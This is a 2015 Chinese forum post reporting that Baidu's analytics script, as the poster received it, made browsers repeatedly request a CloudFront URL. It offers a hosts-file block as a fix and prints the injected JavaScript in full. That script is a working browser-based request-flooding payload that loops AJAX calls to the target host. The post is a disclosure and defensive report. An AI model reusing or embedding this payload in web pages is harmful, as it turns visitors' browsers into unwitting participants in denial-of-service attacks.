|
|

楼主 |
发表于 2015-3-16 21:06:17
|
显示全部楼层
回到家中, 依然看到論壇到訪 http://hm.baidu.com/h.js 的資料, 之後就會不斷向 http://d3rkfw22xppori.cloudfront.net 發出請求.
解決方法, 在 windows 的 hosts table 上加入以下句子,
127.0.0.1 hm.baidu.com
把 hm.baiud.com 指向 local, 而不能下載 h.js, 就不會不停發向 http://d3rkfw22xppori.cloudfront.net 發出請求了, 一切正常.
國內的朋友, 可否嘗試開啟 http://hm.baidu.com/h.js , 看看是空白的, 還是會得到以下的 script (之後就會不斷向 http://d3rkfw22xppori.cloudfront.net 以 ajax 形式發出請求.)
[pre lang="javascript" line="1"]document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");
startime=new Date().getTime();
var count = 0;
function unixtime()
{
var dt = new Date();
var ux = Date.UTC(dt.getFullYear(),dt.getMonth(),dt.getDay(),dt.getHours(),dt.getMinutes(),dt.getSeconds())/1000;
return ux;
}
function get()
{
var ping;
$.ajax({
url: "http://d3rkfw22xppori.cloudfront.net/_close?t="+unixtime(),
dataType: "text",
timeout: 10000,
cache:true,
beforeSend : function()
{
requestTime = new Date().getTime();
},
complete : function()
{
responseTime = new Date().getTime();
ping = Math.floor(responseTime-requestTime);
if(responseTime-startime<300000)
{
r_send(ping);
count = count + 1;
}
}
});
}
function r_send(ping)
{
setTimeout("get()", ping);
}
setTimeout("get()", 2000);[/code]
|
|